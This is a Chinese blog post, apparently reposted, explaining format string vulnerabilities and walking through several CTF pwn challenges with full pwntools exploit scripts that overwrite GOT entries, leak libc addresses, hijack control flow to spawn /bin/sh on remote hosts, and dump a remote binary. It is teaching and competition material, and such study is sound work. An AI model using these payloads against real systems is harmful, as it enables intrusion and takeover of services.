格式化字符串漏洞

栏目: Python · 发布时间: 6年前

内容简介:格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写引言通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的程序员会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:

格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写

引言

通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的 程序员 会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:

push offset a; 将字符串压栈
push offset _Format; "%s"
call printf

但对于第二种,字符串a直接当作格式化字符串压入栈中,这样,当字符串a中含有形如%x,%s等格式化字符时,由于gcc不检测压入栈中的值的数量,会造成栈上信息的泄露;而如果字符串a中含有形如%n,%hn,%hhn时,结合栈上已有的指针,便可以达到任意地址写

漏洞利用

打印内存

如同上面所言,当我们的格式化字符串可控,且格式化字符串保存在栈上时,几乎可以leak出任意数据,比如如果我们想要知道libc的基址,便可以通过二进制文件得知printf@got的地址为0x08048322,利用类似%6$sx08x04x83x22(假设格式化字符串与当前栈顶地址的偏移为4*5个byte,这样%s就可以读到0x08048322这个数据,输出该地址对应的数据,与已有的libc进行比对便可以得到libc的地址

除此之外,利用一个格式化字符串,可以不断%s从ELF dump到 EOF,盲打搞下来二进制文件,这将在之后提及。

修改内存

在学习printf的过程中,我们还知道%n有着修改内存的作用,例如以下代码:

#include<stdio.h>
int main()
{
  int c = 0;
  printf("abcdefgh%n\n", &c);
  printf("%d\n", c);
}

将得到abcdefgh和数字8,%n的意思为将对应地址的值改为已打印的字符数,如同上文所述,只要我们在栈上布好指向我们要修改的内存的指针,便可以改掉该指针对应的地址上的内容,通常而言,我们可以利用改got表为libc_system,配合/bin/sh的参数即可getshell

实战

fsb_easy_i386

先随便找一个sb平台上的fsb题为例,其中一个函数:

int echo()
{
  char s;
  memset(&s, 0, 0x200u);
  fgets(&s, 512, stdin);
  printf(&s);
  return puts("haha");
}

其中有一个getshell函数:

int getshell()
{
  return system("/bin/sh");
}

最简单的fsb,我们只需要确定格式化字符串在栈上地址的偏移,改puts@got(地址为0x08048b78)的值为getshell函数的地址,就可以调用到getshell函数,exp如下:

from pwn import *
#r = process("./fsb_easy_i386")
r = remote("121.43.173.2", 11005)
r.sendline("\x7a\x9b\x04\x08\x78\x9b\x04\x08%2044c%4$hn%32283c%5$hnaaa")
r.recvuntil("aaa")
r.sendline("id")
r.interactive()

fsb_i386

这题和上面一题的变化就是没有了getshell函数,那我们就改printf@got = libc_system即可

问题在于如何重复执行printf,这里由于printf后调用了puts,所以改puts@got = 程序段,就可以达到反复执行printf,leak出libc后即可,exp如下:

""" ZUHXS / AAA """
from pwn import *
#r = process("./fsb_i386")
r = remote("121.43.173.2", 11006)
#r = gdb.debug('./fsb_i386')
r.sendline("%2052c%14$hn%32135c%13$hneee%139$xee\x00\x9b\x04\x08\x02\x9b\x04\x08")
r.recvuntil("eee")
recv = r.recv(4096)
if recv:
    a = recv[0:8]
    print(a)
    b = int(a, base = 16)

system_address = b - 0x19a83 + 0x40190

print(system_address)
c = str(hex(system_address))
d = c[2:6]
h1 = int(d, base = 16)
print(h1)
e = c[6:10]
h2 = int(e, base = 16)
print(str(h2))
print(str(h1-h2))
r.sendline("%" + str(h2) + "c%11$hn%" + str(h1-h2) + "c%12$hnaa\xf0\x9a\x04\x08\xf2\x9a\x04\x08")
r.recvuntil("aa")
r.sendline("/bin/sh;")
r.interactive()

当时代码写得比较丑陋见谅,这里libc的偏移是通过libc_database内的信息得知的,在github可以clone

chance

ACTF中遇到了一道fsb的题,wp如下:

最开始没找到什么好的办法,return printf的返回值之后直接就return 0了,由于栈地址随机化,要想一次printf后getshell还需要知道libc的基址,看上去必须要重复执行printf,虽然got表是read and write,但想改got表也不知道改啥...所以只能想一些奇怪的方法

后来发现了timeout函数,里面调用了puts("time is out"); exit(0),就想到能不能强行在打印的时候触发alarm的回掉函数,如果此时已经改好了puts的got表,就可以将程序劫持到程序段,重复触发格式化字符串漏洞

调试之后发现以下payload可用:

r = remote("10.214.10.13", 11010)
#r = process('./chance')
#context(arch='i386', os='linux', log_level='info')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%10000000c")

发现栈上有<__libc_start_main + 247>,也就是<__libc_start_main_ret>的值,想要执行system函数来getshell必须要先info leak搞到libc的基址,所以改payload为:

r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%143$x%10000000c")

又有了个问题,由于它给绑定了一个char s[] = "You said: ",如果只是改掉printf@got没法完全控制参数,遂想到return_to_libc的解法,这样要在前面搞到栈的基址,正好栈上有一个环境变量字符串的地址,正好可以leak出来,于是第一次sendline的最终payload变成:

""" ZUHXS / AAA """
from pwn import *
r = process('./chance')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c")
r.recvuntil('aaa')
recv = r.recv(20)
if recv:
    a = recv[0:8]
    c = int(a, base = 16)
    b = recv[8:16]
    libc_main_ret = int(b, base = 16)
    print(hex(c))
    print(hex(libc_main_ret))
    b = int(a, base = 16)

于是就搞到了栈地址和libc的地址

由于栈的扩展值在每次执行的时候未必固定,所以需要一定程度的爆破,但成功率也是很高,这样改掉返回值和返回值+8为libc_system和binsh就能成功getshell

后来发现服务器和本机不止libc的偏移值不同,连栈扩展的都不一样...被卡了好久,这样的话leak一下服务器的两个偏移地址,就能成功getshell,最终payload如下:

""" ZUHXS / AAA """
from pwn import *
r = remote("10.214.10.13", 11010)
#r = process('./chance')
#context(arch='i386', os='linux', log_level='info')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c")
r.recvuntil('aaa')
recv = r.recv(20)
if recv:
    a = recv[0:8]
    c = int(a, base = 16)
    b = recv[8:16]
    libc_main_ret = int(b, base = 16)
    print(hex(c))
    print(hex(libc_main_ret))
    b = int(a, base = 16)

system_add = libc_main_ret - 0x19a83 + 0x40190
bin_sh_add = libc_main_ret - 0x19a83 + 0x160a24
#bin_sh_add = libc_main_ret - 247 - 99584 + 1412708
#return_add_add = c - 52028
return_add_add = c - 0xffede4d8 + 0xffed18e8 - 0xbffff3f8 + 0xbffff3ec
print hex(return_add_add)
#system_add = libc_main_ret + 0x22259
print hex(system_add)
from fmtstr import make_fmtstr
Writes = [
    (return_add_add, system_add, 4),
    (return_add_add + 0x8, bin_sh_add, 4)
]
payload_final = make_fmtstr(offset = 27, writes = Writes, arch = 'i386', outed = 11)[0]
#raw_input()
r.sendline('a' + payload_final + 'abcd')
r.interactive()

Orz后来发现data段有fini_array在程序结束之前会调用,所以改掉这个就能无限次执行格式化字符串漏洞...技不如人这个真的不知道...

后来看别人的exp才发现根本不需要return_to_libc,还是改printf@got,只需要读取的时候输入;binsh,这样就可以执行system("You said: ;binsh"),效果等同于system("binsh"),也算个小技巧...

哇心态崩了我怎么这么菜...给大佬递茶.jpg,附上别人的payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Kira / AAA """
from pwn import *
from fmtstr import make_fmtstr
import sys
context(arch='i386', os='linux', log_level='info')

if len(sys.argv) > 1:
    if sys.argv[1][0] == 'r':   # remote
        p = remote('10.214.10.13', 11010)
    elif sys.argv[1][0] == 'd': # debug
        p = gdb.debug('./chance', 'b main\nb *0x80485c9')
else:
    p = process('./chance')

libc = ELF('./libc6_2.19-0ubuntu6.6_i386.so')
elf = ELF('./chance')


def modify_return():
    main_addr = 0x080486FE
    echo_addr = 0x0804858B
    fini_array_addr = 0x08049A70
    payload = make_fmtstr(4 * 4 + 10, writes=[(fini_array_addr, main_addr, 4), (elf.got['setvbuf'], echo_addr, 4), (elf.got['signal'], echo_addr, 4)], arch='i386', outed=alreay_len)
    # print payload
    p.sendline(payload[0])
    p.recv()


def leak():
    payload = make_fmtstr(4 * 4 + 10, reads=([elf.got['fgets']], [], ''), arch='i386', outed=alreay_len)
    p.sendline(payload[0])
    p.recvuntil('you said: ')
    s = p.recv()
    fgets_addr = u32(s[:4])
    libc.address = fgets_addr - libc.symbols['fgets']
    print 'fgets:', hex(u32(s[:4])), ' signal:', hex(u32(s[4:8])), ' alarm:', hex(u32(s[8:12]))


def modify_func():
    payload = make_fmtstr(4 * 4 + 10, writes=[(elf.got['printf'], libc.symbols['system'], 4)], arch='i386', outed=alreay_len)
    p.sendline(payload[0])
    p.recv()


alreay_len = len('you said: ')
p.recv()
modify_return()
leak()
modify_func()
p.sendline(';/bin/sh')
p.interactive()

make_fmtstr函数是一个学长写的库,就不外传啦,大致意思看懂就好,欢迎大佬们来AAA玩耍呀

其实说到底,我的第一种方法利用了alarm hook的方法,先改好alarm的got表等到触发时劫持程序eip,对于正常的题目而言,还可以使用类似malloc hook的方法劫持eip,如0CTF的Easiest printf题目

Easiest Printf

比赛的时候太菜了并不会,比完赛对着别人的wp复现了一下,这道题got表不可改,可以先读一个libc的基址,然后printf格式化字符串,随后直接_exit(0)结束程序,finiarray什么的肯定是别想了,连atexit函数指针也被加密过,exit会直接syscall结束程序无法补救,对exit的攻击也不能奏效。程序开始对栈的基址做了一系列变换,爆破栈地址ret_to_libc也完全没可能,况且程序里有sleep的指令。看起来只能用malloc hook的方法,这里找到了lsaac大佬的wp,原地址: https://poning.me/2017/03/23/EasiestPrintf/

为什么可以利用malloc hook:在printf中如果输出过多字符,则会调用malloc分配缓冲区的内存,如果能先改掉__malloc_hook为one_gadget,之后输出%10000000c即可,同时利用__free_hook也是一个道理,代码就不附了lsaac这道题利用malloc hook方法的人很多,基本搜wp都能搜到

直到后来,AAA的学长告诉了我另一种利用方法:改掉stdout的vtable:

  1. 把stdout的vtable写到elf的bss段上
  2. 布置假的vtable,里面放上system来getshell
  3. 更改指向vtable的指针,使得在printf内部stdout时劫持程序

当然这个方法要麻烦很多,首先是参数的不知,可以直接把stdout的头上写上shx00x00,实际上会调用vtable中的_IO_sputn,第八个指针,所以改掉fake vtable的第八个参数就好,同时还有一些细枝末节:

struct _IO_FILE_plus有位于0x4c的old vtable和位于0x94的new vtable两种,用哪个取决于位于0x46的一个byte来判断,默认用new vtable,但是当直接修改new vtable的时候,程序会直接崩掉

由于程序一开始执行了setbuf(stdout, NULL),真正的stdout是一个FILE,此时会给printf分配一个位于栈上,长为8192字节的缓冲区,如果超过了8192字节,则会先调用stdout的_IO_sputn输出已存在的字符串,如果此时为完成对各参数的修改以及vtable的布置就会直接炸掉

所以可以先改掉old_vtable,布置好对应的bss段,然后改掉位于0x46的一个byte,就不会受制于8192的限制,exp等我得到许可后再发...大致利用就是如此

SYC

pwnhub杯有一道盲打,去研究了下发现fsb想要dump出整段内存这么简单...参考了大佬的博客 http://paper.seebug.org/246/

x86在没开PIE的情况下,ELF起始地址为0x0804800,所以从这个地址开始爆破,直到EOF为止,便可以dump出整个bin,虽然无法执行,但放到IDA中也可以F5

附上hcamael大佬博客中的代码:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context.log_level = 'debug'  
f = open("source.bin", "ab+")

begin = 0x8048000  
offset = 0

while True:  
    addr = begin + offset
    p = process("a.out")
    p.sendline("%13$saaa" + p32(addr))
    try:
        info = p.recvuntil("aaa")[:-3]
    except EOFError:
        print offset
        break
    info += "\x00"
    p.close()
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

如果32位的开了PIE,只需要做一点小改动,ELF的末三位是不变的,所以只需要从0x08000000开始爆破,每次加1000,直到翻到ELF,再进行同理的爆破,代码就不贴了

遇到的这道题根据%p打印几个发现arch是x64的,基本上要是开了PIE就不用玩了...还好没开,x64的ELF起始默认是0x0000000000400000,稍微改一下脚本就好:

""" ZUHXS / AAA """
from pwn import *
#context.log_level = 'debug'
f = open("source.bin", "ab+")

begin = 0x00400000
offset = 0

p = remote('54.222.255.223', 50001)
while True:
    addr = begin + offset
    p.recvuntil('lemon:')
    p.send("c%7$sbbb" + p64(addr))
    p.recvuntil('are : c')
    try:
        info = p.recvuntil('bbb')[:-3]
        print info, addr

    except EOFError:
        print offset
        break
    info += "\x00"
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

这题有个坑,读使用read读的,所以如果用sendline的话会出问题...看了一上午才看出来...下次记住了...

然后dump出数据,数据里是可以看got表的!所以和上面一样改掉printf@got就好,剩下的就很常规了,exp:

""" ZUHXS / AAA """
from pwn import *
r = remote('54.222.255.223', 50001)
libc = ELF('./libc.so.6')

r.recvuntil('lemon:')
read_addr = 0x000000000040088B
write_got = 0x0000000000601020
printf_got = 0x0000000000601040

leak_write_plt = 'bbbb%7$s' + p64(write_got)
r.send(leak_write_plt)
r.recvuntil('bbbb')
a = r.recv(8)
write_plt = u64(a) & 0xFFFFFFFFFFFF
print 'write_plt: ', hex(write_plt)
r.recvuntil('lemon:')
leak_printf_plt = 'bbbb%7$s' + p64(printf_got)
r.send(leak_printf_plt)
r.recvuntil('bbbb')
a = r.recv(8)
printf_plt = u64(a) & 0xFFFFFFFFFFFF
print 'printf_plt:', hex(printf_plt)
libc.address = printf_plt - libc.symbols['printf']
print 'write@plt after calc: ', hex(libc.symbols['write'])
from fmtstr import make_fmtstr
r.recvuntil('lemon:')
payload_final = make_fmtstr(offset = (6-5) * 8, maxlength = 0x65, writes = [(printf_got, libc.symbols['system'], 8)], arch = 'amd64', outed = 0)[0]
print 'system', hex(libc.symbols['system'])
r.sendline('a' * 11 + payload_final)
print payload_final
r.interactive()

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java夜未眠

Java夜未眠

蔡学镛 / 电子工业出版社 / 2003-4 / 20.00元

本书是一本散文集。作为一名资深程序设计师,作者走笔清新面独特,简练俏皮的文字下,是作者对工作,对人生的理性思考。书中收录的文章内容贴近程序员的生活,能令读者产生强烈共鸣。此外,书中的部分文章也以轻松的风格剖析了学习Java技术时的常见问题,并以专家眼光和经验推荐介绍了一批优秀的技术书籍,旨在帮助读者兴趣盎然地学习Java。一起来看看 《Java夜未眠》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码